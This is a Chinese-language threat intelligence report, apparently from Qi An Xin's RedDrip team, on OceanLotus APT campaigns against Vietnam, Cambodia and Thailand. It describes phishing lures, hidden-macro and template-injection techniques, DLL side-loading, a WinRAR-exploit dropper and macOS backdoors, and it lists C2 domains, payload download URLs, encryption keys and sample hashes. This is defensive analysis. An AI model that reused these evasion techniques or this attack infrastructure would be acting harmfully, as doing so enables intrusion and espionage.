海莲花团伙对中南半岛国家攻击活动的总结:目标、手法及技术演进

海莲花(OceanLotus)是一个据称越南背景的APT组织。该组织最早于2015年5月被天眼实验室所揭露并命名,其攻击活动最早可追溯到2012 年 4月,攻击目标包括中国海事机构、海域建设部门、科研院所和航运企业,后扩展到几乎所有重要的组织机构,并持续活跃至今。

背景及概述

海莲花(OceanLotus)是一个据称越南背景的APT组织。该组织最早于2015年5月被天眼实验室所揭露并命名,其攻击活动最早可追溯到2012 年 4月,攻击目标包括中国海事机构、海域建设部门、科研院所和航运企业,后扩展到几乎所有重要的组织机构,并持续活跃至今。

 

image.png

 

而实际上,根据各安全厂商机构对该组织活动的拼图式揭露,海莲花团伙除针对中国发起攻击之外,其攻击所涉及的国家分布非常广泛,包括越南周边国家,如柬埔寨、泰国、老挝等,甚至包括越南的异见人士、媒体、地产公司、外资企业和银行。

 

奇安信红雨滴(RedDrip)安全研究团队(前天眼实验室)一直对海莲花团伙的活动保持高强度的跟踪,在近期发现其自2019年以来对中南半岛的国家最新的攻击活动中使用的初始投放载荷文件和攻击利用技术,并且结合奇安信威胁情报数据,关联到一系列的攻击事件。

 

本报告中我们向安全业界分享对海莲花组织针对越南国内以及越南周边国家最新的攻击利用技术、攻击载荷、及相关攻击事件的分析和总结,希望我们共同增进对海莲花这个极其活跃的APT团伙的了解。

针对不同国家的攻击

以下为我们整理了2018年末至今的一些针对中南半岛的部分国家发起攻击的典型案例,其他未提及的样本可参考文末的IOC列表。

越南

压缩包类诱饵

2019年4月1日,红雨滴(ReDrip)安全研究团队在日常监控海莲花的攻击活动过程中,发现了一个越南语的文件名“Hop dong sungroup.rar”。

其对应的中文为”大阳城合同”,压缩包内有重命名为Noidung chi tiet hop dong sungroup can chinh sua的winword.exe,对应的中文为”请参阅详细信息”。

image.png

除此之外,我们还关联到另一个翻译后为”太阳城集团”的压缩包诱饵SUN_GROUP_CORPORATION。其压缩包内的文件名如下:

Noi dungcan xac thuc va sua gui den CONG TY CO PHAN TAP DOAN MAT TROI Bo Tai Chinh.exe

对应中文为”需要进行身份验证和编辑,以便发送给财政部 -  太阳集团合股”COMPANY

image.png

经过查询发现太阳城集团实际上是越南最大的房地产开发商之一。

image.png

而这两个样本均由越南上传。因此我们猜测,海莲花组织在针对太阳城内部员工进行钓鱼攻击。

 

除了针对越南房地产业外,我们还发现该组织会针对越南国家银行进行钓鱼攻击:

 

相关样本的压缩包名为CPLH-NHNN-01-2019.rar,样本对应的日期为2019年1月22日,攻击极可能发生在相近的时间段内。

image.png

压缩包名对应的中文为:“越南国家银行-01-2019.rar”;而压缩包中的winword.exe被重命名为“ChiPhiLienHoanNHNN-BC2019.exe”,翻译后为:“越南国家银行SBV-BC 2019.exe”

SBV指的是越南央银越南国家银行(SBV),而BC其实指的是B2C,即第三方支付。

image.png

 

该次攻击大概率是针对银行内部员工发起的,类似于伪装成银行内部的第三方支付的文档传输过程。

 

除此之外,还有通过杀毒软件相关信息进行伪装的钓鱼。

压缩包名:“Gui lai choMS.MAI post content kaspersky.rar”(返回MS.MAI发布内容kaspersky)

image.png

我们看到还会以精油为主题进行钓鱼:

“Tinh dau can mua”(需要购买精油),压缩包内的PE文件名为“有关购买和购买的详细信息”

image.png

文档类诱饵

上述的压缩包带有卡巴斯基名称的诱饵,在诱饵文档方面也同样有类似的命名“Content marketing Kaspersky.doc”,文档打开后显示如下,为越南语版本的诱导点击启用宏的攻击手法。

image.png

除此之外,我们还发现海莲花投放了大量伪装成简历的攻击钓鱼活动,我们内部将其命名为OceanCV活动,而该活动直接将海莲花目前常用的3种宏攻击手段全部曝光。

 

首先,我们先对样本名进行分析,可见样本名均为CV开头,命名也具有特点,主要以下3种:

1、CV-人名(如:CV-NguyenQuynhChi.docx)

2、CV-人名-岗位 (如:CV-AnthonyWei-CustomerService.docx)

3、CV-随机数字+英文为主 (如:CV-103237-EWQDSD.doc)

 

值得注意的是,有的样本在打开后会显示提示需要启用宏的标识:

image.png

 

但是,当你往下拉一下进度条后,你会发现越南语编写的简历,这在一系列活动中大部分样本均如此,并且简历均不一致。

image.png

而这批简历钓鱼的样本所利用的方式也各不一样。有的使用海莲花MSO宏(RedDrip内部命名MSOMacro)

image.png

有的使用了模板注入技术:

image.png

有的使用了宏代码转为1磅字体隐藏在文档中的技术(后来升级为白色1磅字体,RedDrip内部命名OHNMacro)

image.png

image.png

 

在以下章节我们会分别详细分析这3种宏的利用分析。

 

而根据这批简历样本,我们对这3种宏文档进行同源样本关联后,结合各种维度,最后发现了大量海莲花专属恶意宏样本,详细可见Office样本关联章节。

利用”永恒之蓝”系列漏洞攻击

我们还发现海莲花会利用“永恒之蓝”系列漏洞针对越南国内向政府提供软件的公司发起攻击。https://www.tandan.com.vn/portal/home/default.aspx 公司为越南的软件公司TAN DAN JSC。

image.png

该公司会向政府提供邮件服务器,官方公报数据库系统,公民身份管理系统等等。

image.png

image.png
 image.png

 

在攻击成功后,其会分发木马,我们去年编写的报告《疑似“海莲花”组织早期针对国内高校的攻击活动分析》中利用永恒之蓝攻击高校的木马一致。

https://ti.qianxin.com/blog/articles/oceanlotus-targets-chinese-university/

利用WinRAR漏洞投放伪装成越南浏览器coccoc的更新程序进行钓鱼攻击

传统的利用白加黑机制、宏文档和网站渗透分发恶意Payload以外,海莲花也会利用最新的Winrar漏洞针对越南发起攻击。以下便是我们捕获的其中一个案例:

压缩包名称为“TUT_Photoshop_scan_Bank_ID.rar”

image.png

从该样本触发漏洞解压的文件来看,其名称为CocCocUpated.exe

image.png

COCCOC 是越南一家成立于2013年的新兴技术公司,提供在线网络搜索引擎服务和浏览器,主要使用的语言越南语和英语,所提供的搜索服务是越南最成熟的,浏览器是基于谷歌Chromium开发而成,支持Windows、iOS平台。

image.png

我们通过分析发现,其为海莲花的早期木马框架,我们同样将其放在样本分析一节单独分析。

 

当然,除了上面的诱饵,我们还发现海莲花会使用压缩包内嵌MP4的方式进行漏洞利用投放,压缩包名称翻译后大致为“Cho Ray医院的独家重磅影像”,其中Cho Ray指的是越南胡志明市大水镬医院(Chợ Rẫy),为越南胡志明市最大的综合医院。

 

image.png

 

压缩包内有两个MP4文件,除了其中一个和压缩包名一致外,还有一个翻译后名称为“独家在中风新闻发布后,该小组开始配备人员”的视频

image.png

image.png

 

同样,释放的为CocCocUpdated.exe

image.png

而其分发手段却是通过网盘的方式进行投放。

image.png

在样本分析章节中将对该新木马进行详细分析。

 

使用独有MAC后门并伪装正常程序的攻击

海莲花除了会在Windows平台上针对越南进行攻击外,还会针对MacOS平台向越南用户发起攻击,下图几个样本便是近期的投放典型,其使用诸如浏览器更新,Flash安装更新包,字体安装包,伪装成文档实际为安装程序的手段进行攻击。

image.png

有趣的是,当我们在分析伪装成火狐的样本时,打开后会显示安装Firefox的界面,双击Firefox这个图标,会执行起来木马:

image.png

同是会弹出假冒的FireFox的界面,点击更新,即使断网,也会出现下载进度条,实际上都是伪装的。

image.png

这是攻击者画的假界面:

image.png

 同样,在接下来的章节中,我们将这批针对越南的MacOS样本进行了扩展分析。

柬埔寨

下面为今年海莲花针对柬埔寨的最新攻击,文件名为“Report-No.0162(02 Pages).doc”,对应中文名称为:报告No.0162(02页)

样本运行流程如下图所示:

image.png

通过同源关联到的样本如下:

MD5 文件名 文档创建时间
56b5a96b8582b32ad50d6b6d9e980ce7 Request Comment on UYFC.doc 2019-03-18 04:12:00
3fd2a37c3b8d9eb587c71ceb8e3bb085 No.039714(cdri).doc 2019-03-25 04:33:00

 

而关联到的针对柬埔寨攻击的样本RequestComment on UYFC.doc (请求对UYFC发表评论)。

 

UYFC实际上是柬埔寨青年联合会|UYFC非政府组织,以此来攻击可能与该会议有关的人员。

image.png

 

文档截图:

image.png

No.039714(cdri).doc的文档截图:

image.png

可以明显看出,针对柬埔寨的攻击也采用了OHN宏。

 

除了利用文档进行攻击之外,去年海莲花还会利用MacOS样本针对柬埔寨进行攻击,相关的样本:“Scanned Investment Report-July 2018.zip” (扫描投资报告 -  2018年7月)

泰国

2019年以来,海莲花针对泰国发起的典型攻击案例如下

 

MD5 文件名 文档创建时间
4c30e792218d5526f6499d235448bdd9 Form_Provisional Agenda of the ASEAN Senior Officials Preparatory Meeting.doc 2019-01-21 02:25:00
d8a5a375da7798be781cf3ea689ae7ab Program Retreat.doc 2019-01-14 03:50:00

 

其中名为Form_ProvisionalAgenda of the ASEAN Senior Officials Preparatory Meeting.doc最具有诱饵性,翻译后为”表格 – 东盟高级官员筹备会议的议程.doc”

 

而该会议实际上在2019年4月6日在泰国成功举行,从文档的创建时间和上传公网时间来看(2019-03-22),可以看出海莲花组织在获取时事能力很强,并且筹备周期较长。

 

image.png

而第二个文档Program Retreat(计划撤兵),则有可能是针对军事部门,不过由于名称意义广泛,并不能确认攻击者的实际意图。

 

并且上表中的2个文件的文档内容一样,下图为恢复文档中的shellcode字体后的截图:

image.png

其同样采用了OHN宏。

样本分析

MSO宏”文档攻击流程

海莲花”MSO宏”具有通性,我们对其中一个样本进行分析,可见提取到的宏代码如下:

 

首先其会把数据通过Data变量相加,然后通过base64解密后,解密出vbs代码,释放到msohtml.log,并把wscript.exe复制到windows\SysWOW64\msohtml.exe中:

image.png

通过复制的msohtml.exe(就是wcript.exe)执行msohtml.log脚本,如图:

image.png

并创建计划任务:

image.png

msohtml.log脚本的内容如下,会把cs数组里的数据和518异或后,执行起来:

image.png

解密后的脚本如图,会把cs数组中的元素异或415后执行恶意代码:

image.png

解密后的恶意代码如图:会从https://open.betaoffice.net/cvfemale.png下载代码并执行。

image.png

 

OHN宏”文档攻击流程

从该样本中提取到宏代码,打开word文稿,会提示启用宏,启用宏后会执行这个函数:

image.png

然后会把自身的office文档拷贝到temp下,命名为随机名,如图:

image.png

然后修改注册表宏的安全性:

image.png

取段落总数的倒数第五段数据(一共5段数据,2个空行,3个有hex数据),从hex转成bin后,加到新文件的宏代码里面,然后设置1秒后执行该宏代码的x_N0th1ngH3r3方法:

image.png

image.png

该格式文件是1磅的文字,肉眼看不到的,如图:

image.png

第一段清除格式之后的数据:

image.png

数据转换成bin后,成第二段宏代码,会被第一段宏代码执行x_N0th1ngH3r3函数,如图:

image.png

同样的方式执行倒数第3段的宏代码,如图:

image.png

image.png

image.png

也是从这个函数开始:

image.png

取倒数第二段的数据,如图:

image.png

数据如下:

image.png

然后写到内存中执行:

image.png

数据hex转成bin后是海莲花用的比较多的shellcode,如图:

image.png

配置文件:

image.png

image.png

这种是通过三次宏内存加载shellcode的方式主要是为了对抗杀软静态的查杀。

 

模板注入类文档攻击流程

海莲花的模板注入类文档具有通用性,在文档启动后,其均会去加载XXX.XXX/XXX.png

并执行接下来的操作。

image.png

这里举其中一次攻击的例子,fdsw.png是一个office 复合文档:

(d497bd06b34a046841bb63d3bf20e605)

image.png

提取出来宏,刚开始会通过SysWOW64\cmd.exe文件是否存在,判断系统是32位或者64位:

image.png

根据不同的系统,把文件从cell中取出来,经过base64解码,落地到:%appdata%\main_background.png:

image.png

然后根据根据不同的操作系统位数选择不同的写注册表的方式,劫持的CSID都是“{2DEA658F-54C1-4227-AF9B-260AB5FC3543}”

image.png

根据这个CSID,发现劫持的是这个DLL的CSID:%SystemRoot%\System32\PlaySndSrv.dll

image.png

该dll是用来播放声音的。

对cell里面base64的内容的提取内容如下:

image.png

Base64解开的其中的一个32位的PE,Dllmain会申请0x34aca字节的内存空间,然后把0×10012760处的shellcode写入到内存中,通过线程执行起来:

image.png

Shellcode去0xfc8偏移处的指针当参数传到sub_160018的函数中:

image.png

而0xfc8偏移处的地址放着命令行参数和一个PE:

image.png

sub_160018函数的功能主要是在内存中加载后面的PE,然后把命令行传递过去,根据命令行参数去执行,下图为该PE接收命令行参数的代码:

image.png

请求传过来的URL,把下载后的数据,经过DES解密后,在内存中加载起来。

image.png

通过关联分析找到更多的样本:

根据编译时间排序如下:

image.png

通过表格比较,第一个样本和其他样本的命令行都不一样,可以知道应该是不同次攻击的样本,该样本是带注释的版本,会用相同的方式在内存中加载shellcode,shellcode的功能是在内存中加载文件中包含的PE文件:

image.png

而文件中包含的PE在一个黑客工具包中找到,文件名为: cmd[w7 ][x64].exe

该样本的功能是通过文件中包含的cmd[w7 ][x64].exe去执行mcods.exe(这个是海莲花之前用过的白利用程序的exe文件名),而mcods.exe应该是被前面的dropper释放的文件。

image.png

该样本的上传地点是VN,上传时间是7月31日,文件名是msvchr.exe,可以知道这个样本应该是针对越南攻击的:

image.png

通过对这些样本的分析比较可以知道这些样本应该是用来专门在内存中执行exe文件,并传递命令行参数的Loader程序,是最近半年用到的新的恶意代码框架,专门用来开发对抗静态免杀的。

发现其中有2个样本是10M的,是末尾填充0×20(空格),填充成大文件避免被上传:

image.png

而且这些样本的加载shellcode的方式有些不太一样:

1、大部分样本是通过创建线程执行shellcode

image.png

2、编译时间最早的那个样本,以服务的形式起来,带注释,在serviceMain里创建线程执行shellcode

image.png

3、少部分样本在主线程直接执行shellcode

image.png

wwlib白利用样本

通过亚马逊AWS下载的压缩包CPLH-NHNN-01-2019.rar分析,发现该压缩包把winword.exe白文件和wwlib.dll打包到一起投递;

他们使用winword.exe的白利用技术,winword.exe会默认加载同目录下的wwlib.dll;

之所以使用winword.exe的白利用技术,因为winword.exe的图标是word的图标,而且wwlib.dll是隐藏的,所以他们只需要把winword.exe修改为具有诱惑性的名称,受害者解压后只发现一个word图标的exe,就会打开运行:

image.png

wwlib.dll的恶意代码再FMain导出函数里,winword.exe打开会默认调用FMain这个导出函数,恶意代码就会执行起来;然后base64解码出自带的shellcode,然后在主线程中执行:

image.png

Base64编码后的shellcode存放在样本中的位置:

image.png

发现解码后的shellcode和前面的shellcode的加载方式是一样的,把0x6b6偏移处的数据当参数传递给sub_16函数:

image.png

而sub_16函数的作用是解密0x6b6后面的数据,解密出第二层shellcode并执行,下图为解密出的第二层shellcode:

image.png

第二层shellcode通过DES解密出第三层shellcode,密钥为“asfahdiuqhu93ye7891h9ubioufcf”:

image.png

第三层shellcode的入口和前面2个shellcode的入口都是一样的,也通过call/pop方式找到shellcode加载到内存中的位置,然后取代码后面的数据(0x8c6偏移处)当参数传递到sub_16函数中,传递的参数为:https[:]//office.allsafebrowsing.com/AwPT:

 image.png

该shellcode从https[:]//office.allsafebrowsing.com/AwPT下载文件,然后在内存中执行,下图为下载该文件用到的UA:

image.png

下载回来的AwPT文件是cobaltstrike的shellcode模块:

image.png

下图为解密后面附加数据的算法,和cobaltstrike的shellcode模块一样,和以往的不同处是偏移往后移动了8个字节:

image.png

解密后的数据是一个beacon模块,如图:

image.png

提取配置文件信息如下:

image.png

MAC后门

分析对象为伪装成浏览器的MAC后门。

image.png

解压后的文件结构如下,是一个macOS的安装包,如图:

image.png

打开后会显示安装Firefox的界面,双击Firefox这个图标,会执行起来Dropper流程image.png

会弹出假冒的FireFox的界面,点击更新,即使断网,也会出现下载进度条,都是攻击者伪造的:

image.png

这是攻击者画的假界面:

image.png

Dropper运行起来后会在Library目录下创建以下APP,实现开机启动:

/Users/username/Library/LaunchAgents/com.apple.spell.agent.plist

image.png

该app中的开机启动目录指向该目录:/Users/username/Library/Spelling/的spellagentd文件,该文件时OSX的bin文件,代码做了加壳处理,会在内存中解密出shellcode并执行,如图:

image.png

执行起来后会回连地址:rio.imbandaad.com,通过Post请求把数据包发送到服务器:http://rio.imbandaad.com/v3/yQ/r/eiCu1gd6Qme.js

image.png

但是该地址已经失效。该App的签名信息如下:

CocCocUpdate分析与关联

CocCocUpdate是一个Dropper,被利用CVE-2018-20250漏洞构造的压缩包释放到startup目录下,压缩包截图如下:

image.png

重启后会被系统执行起来,对应的文件为CocCocUpdate.exe,我们在2015年曝光过一个通过命令行参数传递随机密钥的Dropper版本,这个CocCocUpdate.exe改进为通过环境变量传递随机密钥。

 

具体的步骤为:

1、  获取执行起来的CocCocUpdate.exe的全路径,存在值为“C091A8C8”的环境变量中,以便后面的程序去读取。

image.png

2、  随机生成128字节的密钥,存到值为“DB99050C”的环境变量中;用来加密自身后面的资源数据(shellcode)。

image.png

image.png

3、  把通过随机密钥加密0x40E000位置处的数据,并把修改后的该PE文件写入到Temp目录下,然后通过CreateProcess执行起来:

image.png

image.png
image.png

下图为原文件和加密后的文件比较的结果,可以看出代码段没有任何变化,只是0xd000的全局变量数组被随机密钥加密了。

image.png

4、  如果该文件被捆绑内容的话,会从资源类型为10,资源号为1的资源中解密释放一个被捆绑的文件(密钥在后64字节),比如Word文档或者正常文件,然后通过ShellExectue执行起来,该文件没有使用释放捆绑的诱饵文件,所以ID是错误的

image.png

image.png

5、被执行起来的temp进程,会先判断是否有被设置的“C091A8C8”的环境变量,如果有

的话说明是被原始Dropper加密起来的,就会从“DB99050C”的环境变量中读取随机生成的128位密钥,解密出0x40e000处的代码,然后再多解密一层解压一层,因为代码在原始Dropper中就是有一层加密和压缩的:

image.png

解压:

image.png

6、解密后的文件是一个PE文件,解密后会在内存中执行起来,如图:

image.png

image.png

该代码会释放3个文件到c:\program files\microsoft\windows\system restore\目录下:

image.png

然后创建服务,指向rstrui.exe文件:

image.png

该rstrui.exe是攻击者写的一个loader,伪装微软的WindowsSystem Restore图标:

image.png

主要是负责通过rundll32加载同目录下的{9FBAA883-1709-4DE3-8C1B-48683F740A5F}.clsid文件,传递参数也是通过环境变量的方式传递的,这种方法海莲花团伙在2017年的时候也常常使用。

image.png

文件名为{9FBAA883-1709-4DE3-8C1B-48683F740A5F}.clsid的文件时一个DllLoader,PE信息如下:

image.png

该dll的功能主要是解密并加载同目录下的名字为{9FBAA883-1709-4DE3-8C1B-48683F740A5F}的shellcode,如图:

image.png

进入sub_10001480函数内,会解密出该文件的内容,并在内存中加载该PE:

image.png

在内存中解密后的PE如图:

image.png

image.png

DllMain创建一个线程,执行导出函数Version,Version函数里会一直执行远控的函数,失败的话休眠6s继续(这里表示休眠6s太短了):

image.png

然后会随机生成一个4以内的数字,随机选择C2,如图:

image.png

其中一个解密C2的函数如下:

image.png

回连4个域名如下:

images.ucange.com

preload.ointalt.com

maintenance.allidayser.com

report.cottallid.com

通过域名关联到的样本的hash如下:

2ea902abe453b70cf77e402cc16eb552

cc7b9ee1b026e16a9d37e3988a714479

e60c35dd36c9f525007955e6b3a88b82

 

该同源样本中的捆绑文件:

cc7b9ee1b026e16a9d37e3988a714479捆绑的office文件内容如下:

image.png
翻译:

image.png

2ea902abe453b70cf77e402cc16eb552捆绑的Office文件内容如下:
image.png

翻译:

image.png

该Dropper的流程图如下:

image.png

该版本Dropper和2015年版本的Dropper的比较:

1、2015年的Dropper是通过命令行参数传递随机生成的解密密钥,而该版本的Dropper是通过进程链间的环境变量实现密钥的传递(API是SetEnvironmentVariableW和GetEnvironmentVariableW)

2、2015年版本的存在检测虚拟机,该版本的不存在检测虚拟机。

下图为:2015年海莲花的Dropper版本通过“—ping”传递密钥:

image.png

下图为:本次Dropper的版本把随机生成的密钥存在环境变量中:

image.png

 

 

关联分析

木马样本关联

通过对海莲花的通用后门进行分析,通过其代码中的特征找到了大量同源样本:

 

MD5 编译时间 文件大小 模块名
ac5f18f1c20901472d4708bd06a2d191 2018-06-13,11:33:33 93184 DllHijack.dll
221e9962c9e7da3646619ccc47338ee8 2018-06-25,02:35:46 93184 DllHijack.dll
26ea45578e05040deb0cc46ea3103184 2018-07-02,02:11:55 142336 DllHijack.dll
200033d043c13b88d121f2c1d8d2dfdf 2018-07-09,03:00:10 2053632 DllHijack.dll
9972111cc944d20c9b315fd56eb3a177 2018-07-13,03:48:03 142336 DllHijack.dll
bf040c081ad1b051fdf3e8ba458d3a9c 2018-07-23,03:11:16 93184 DllHijack.dll
6c2a8612c6511df2876bdb124c33d3e1 2018-07-23,04:50:51 93184 DllHijack.dll
7dace8f91a35766e9c66dd6258552b02 2018-07-23,12:59:23 142336 DllHijack.dll
c9093362a83b0e7672a161fd9ef9498a 2018-08-07,03:12:39 92672 DllHijack.dll
38f9655c72474b6c97dc9db9b3609677 2018-08-09,10:11:58 93184 DllHijack.dll
4bb4d19b42e74bd11459c9358c1a6f01 2018-08-13,02:21:13 168960 DllHijack.dll
f42611ac0ea2c66d9f27ae14706c1b00 2018-08-13,08:46:56 92672 DllHijack.dll
c28abdfe45590af0ef5c4e7a96d4b979 2018-08-15,03:20:08 92672 DllHijack.dll
cf0b74fe79156694a2e3ea81e3bb1f85 2018-08-20,02:12:34 92672 DllHijack.dll
c78fd680494b505525d706c285d5ebce 2018-08-20,02:23:12 92672 DllHijack.dll
77390c852addc3581d14acf06991982e 2018-08-29,03:20:46 168960 DllHijack.dll
49e969a9312ee2ae639002716276073f 2018-08-29,03:50:11 93184 DllHijack.dll
f5ad93917cd5b119f82b52a0d62f4a93 2018-08-30,08:22:15 129536 DllHijack.dll
6291eabf6a8c58cad6a04879b7ba229f 2018-09-04,02:24:06 92672 DllHijack.dll
9a10292157ac3748212fb77769873f6c 2018-09-04,02:42:21 129536 DllHijack.dll
a406626173132c8bd6fe52672deacbe7 2018-09-06,02:03:30 92672 DllHijack.dll
93c3d6cffdcb0a2f29844ff130a920be 2018-09-06,08:01:41 129536 DllHijack.dll
6b8fc8c9fe4f4ef90b2fcbcc0d24cfc9 2018-09-10,02:44:30 119296 DllHijack.dll
1211dea7b68129d48513662e546c6e21 2018-09-11,03:06:50 92672 DllHijack.dll
2f1f8142d479a1daf3cbd404c7c22f9f 2018-09-17,04:12:57 111616 DllHijack.dll
0f877ad5464fcbb12e1c019adf7065cc 2018-09-18,02:24:47 92672 DllHijack.dll
cab262b84dbd319f3df84f221e5c451f 2018-09-18,03:00:51 111616 DllHijack.dll
07ff4f943b202f4e16c227679d9b598a 2018-09-19,02:01:04 92672 DllHijack.dll
7a6ba3e26c86f3366f544f4553c9d00a 2018-09-24,07:12:34 93184 DllHijack.dll
518f52aabd9a059d181bfe864097091e 2018-09-25,02:59:04 111616 DllHijack.dll
70a64ae401c0a5f091b5382dea2432df 2018-10-03,04:17:51 111616 DllHijack.dll
d40b4277e0d417e2e0cff47458ddd62d 2018-10-09,03:22:19 95232 DllHijack.dll
5f1bc795aa784f781d91acc97bec6644 2018-10-17,08:02:50 209412 DllHijack.dll
305d992821740a9cbbda9b3a2b50a67c 2018-10-22,03:27:24 92672 DllHijack.dll
7df61bc3a146fcf56fe1bbd3c26ea8c0 2018-10-22,03:34:11 113664 DllHijack.dll
3c04352c5230b8cbaa12f262dc01d335 2018-11-14,07:07:53 92672 DllHijack.dll
41f717eda9bc37de6ea584597f60521f 2018-11-15,02:03:44 92672 DllHijack.dll
db81a7e405822be63634001ec0503620 2018-11-28,08:55:24 112128 DllHijack.dll
865a7e3cd87b5bc5feec9d61313f2944 2018-11-29,02:21:27 92672 DllHijack.dll
aad445e7ffc5ce463996e5db13350c5b 2018-11-29,08:18:42 115712 DllHijack.dll
9bcd0b2590c53e4c0ed5614b127c6ba7 2018-11-29,09:25:15 112128 DllHijack.dll
7338852de96796d7f733123f04dd1ae9 2018-12-04,02:27:26 92672 DllHijack.dll
906a6898d099eb50c570a4014c1760f5 2018-12-04,04:31:45 115712 DllHijack.dll
a530410bca453c93b65d0de465c428e4 2018-12-06,03:21:22 115712 DllHijack.dll
de409b2fe935ca61066908a92e80be29 2018-12-10,04:03:20 115712 DllHijack.dll
2756b2f6ba5bcf811c8baced5e98b79f 2018-12-10,04:29:12 92672 DllHijack.dll

 

MAC后门关联

通过在上一章中对MAC样本回连的C2:rio.imbandaad.com 进行域名反查后,我们发现解析IP为198.15.119.125。当再次对该IP进行IP反查后,我们发现其中一个域名web.dalalepredaa.com域名已经打上了海莲花的标签

image.png

而通过该域名,我们发现了一个海莲花的最新MAC样本。

首先,该样本为了伪装成文档,将文件夹名字中的docx中的d,改为小写罗马数字五百,从而欺骗用户:Don khieu nai.ⅾocx

 

Windows系统下看是这样的:

image.png

Macosx系统上看是office图标的docx文件,其实是目录:

image.png

image.png

因为Info.plist中的iconFile指向了一个doc的图标文件,如图:

image.png

image.png

以下为该样本的签名信息,如图:

 

样本执行起来后,会在Library目录中创建3个目录:

LaunchAgents

Media

Video

并安装一个名字为LaunchAgents的应用,实现开机启动:

image.png

该应用的程序指向Video目录下的mediaagentd程序:

image.png

同时之前的目录被替换成真的docx文件,实现偷梁换柱:

image.png

而释放的mediaagentd程序是加壳的,会解密后在内存中加载并执行:

image.png

脱壳后的MACOS文件如下:

image.png

该文件的入口处,会有一个while死循环,执行收集电脑信息并发送后,进入远控的循环函数,会随机睡眠一段时间,并继续走重复的流程:

image.png

内部的很多字符串都被加密了,下图为使用该加密函数的地方:

image.png

解密方法主要是通过CCCrypt解密,算法为aes,iv为0,如图:

image.png

AES密钥(HEX)为:4E620ABEDAFB4D9866CC9D9C2D29E2D7EA18ADF1不够32位补零:

image.png

解密的所有字符串如下:

image.png

 

而且会把收集的信息经过AES加密后通过CURL库发送出去:

image.png

远控的消息分发函数如下:会根据第一自己的token执行不同的操作,下图为列目录的操作:

image.png

传输数据用的密钥和解密字符串的密钥不一样,下图为传输数据的加密密钥:

07E74FF2CE9688C8F79B91AB32C95D11C140D3AC

image.png

加密后的数据发送到C2,如图:

C2: web.dalalepredaa.com

image.png

值得注意的是,我们发现海莲花近期的Mac样本中有的会带有签名,去重后我们发现常用的为两个:

MelindaCline (P74QRJXB2F)

DAVIDDOWELL (B5YH6VDVRE)

Office样本关联

经过关联分析发现,该宏文档样本与大量样本存在同源情况。

下图为其中比对案例,可以看出,文档的创建内容的时间相同,并且作者同样相同。

image.png

下图为模板特征,模板文件名极具海莲花特色。

image.png

经过分析发现,我们总结了海莲花的攻击文档中常用的作者名,其中最大规模的攻击活动为“DEV”活动和” Tushar”活动。

image.png

 

通过对各类维度进行关联分析后,可以得到在这一系列恶意宏文档投放活动中涉及的文档名和Hash值。

 

文档名 MD5
test.doc 5c9ef8b5263651a08ea1b79057a5ee28
Scan_Mau_Ao_Thun.doc b858c08cf7807e462ca335233bd83fe7
Content marketing Kaspersky.doc c313f8a5fd8ca391fc85193bc879ab02
doc.doc 473fdfefa92725099ca87e992edbc92c
LÝ_ANH_TRUNG_CV.doc 02cec2f17a7910b6fa994f340bbbc297
LÝ ANH TRUNG CV.doc dd5ae0c0a7e17d101f570812fec4e5e4
LÝ_ANH_TRUNG_CV.doc 90e5ff68bf06cb930ed8c040139c4650
LÝ_ANH_TRUNG_CV.doc 6db450c4c756071ecafff425d6183d7d
CV-DucNguyenMinh.doc cb39e2138af92c32e53c97c0aa590d48
CV Nguyen Minh Duc.docx 8e13895504e643cd8e0e87377b25bd6b
Danh sach can bo vi pham.doc d3c27f779d615a1d3a35dff5e9561eb0
Danh Sach Nhan Vien Bien Thu Tien Cong Ty.docx 27425360d18feea54860420006ea9833
Danh Sach Nhan Vien Bien Thu Tien Cong Ty.docx cf0142da12509f544a59093495c3a6dd
CV-AnthonyWei-CustomerService.docx b1df440e5dd64ffae9f7e792993f2f4c
  878fa022bd5e5caf678fe8d728ce42ee
  f78be074f6bc67a712e751254df5f166
Ho Chi Minh.docx e2aed850c18449a43886fc79b342132f
DS-Card-ChienThang-TraVinh.docx 74b456adf2ae708789fb2d34ecccb954
HopDong-XXX-TP-092018.docx 72263750df84e24fe645206a51772c88
BBLV_ASC_DG_092018.docx 3a574c28beca4f3c94d30e3cf3979f4c
indo.docx ee836e0f7a40571523bf56dba59898f6
Danh sách các nhà đấu tranh b bt 2.9.doc f6068b672a19ce14981df011a55081e4
1 00ac0d7337290b74bdd7f43ec4a67ddb

 

针对这批样本的诱饵名称进行分析后,各有特色

1、名称具有政治特色:被捕活动人士名单

image.png

2、包括一些利用简历去进行钓鱼攻击活动

image.png

 

可以关联到@vupt_bka安全研究员分析的一封海莲花使用简历钓鱼的邮件。

https://twitter.com/vupt_bka/status/1083653486963638275

image.png

 

3、还有一些显示诱导宏启动的文档,与以往的诱导界面不一致。

image.png

并且历史样本和最新样本技术方面同样存在不同,如下所示,某些历史样本并没有使用模板注入技术,而是使用的直接宏代码执行方法,并将要执行的代码显示在文档内容中,也就是样本分析一节中提到的OHN宏代码。

image.png

 

上述这类宏样本在经过关联分析后,可以发现该类攻击最早是在2017年,越南上传的诱饵文档,从文件名看,很大概率是测试样本。

SAMPLES 08_11__12_2017 (317)

c4d35f3263fef4a533e7403682a034c3

 

4、出现频率最高的越南语文档保护诱饵系列

 

image.png

压缩包类诱饵关联

在对海莲花的一个Thu moi2019.rar样本进行分析的过程中,我们发现该样本的生成时间疑似存在自定义的嫌疑

image.png

因为从样本的上传时间来看,其上传至VT的时间为2019年3月1日,而压缩包内的时间差距过大。

image.png

因此,我们对该时间进行关联捕获后,发现了多个海莲花的关联样本。

 

文件名 MD5
60982849-c8e4-4039-8f59-dfb78d8bab0d 15f5adf1-8798-49bf-b666-4a6c3d90b69e bcbc1bef20d2befdd290e31269e0174a
4052d2e7-ca42-4cd4-8841-52f782bba411 dfaa343552e8d470096a0a09a018930f
ffea6446-ab7a-4e47-b7ff-e461f9775177 9b1ce9df321ce88ade4ff3b0ada5d414
5d47e097-c3bc-401e-8c0f-e877280b368a da14eece6191551a31d37d1e96681cd1
Thu moi 2019.rar 76289f02a0b31143d87d5e35839fb24a

 

因此可以进一步肯定,海莲花团伙会自定义样本的生成时间,并批量生成样本进行投放。

 

总结

本报告涉及了大量的对于海莲花团伙对中南半岛国家攻击活动及所使用的资源,揭示了其从不停歇的攻击历史、极其广泛的攻击目标和非常有创意的技术手段。海莲花组织无论是针对国内外进行攻击,其投放诱饵的手段、载荷变化、木马免杀技术,甚至是回连域名资产均在不停地演进变化,体现了非常强大的对抗能力和攻击意志。

 

因此,我们在跟踪海莲花针对中国的攻击活动时,通过分析海莲花针对其他实体攻击行动中所体现的TTP,对其加深了解并持续进行针对性的对抗,这个过程永无止境。

IOC

域名

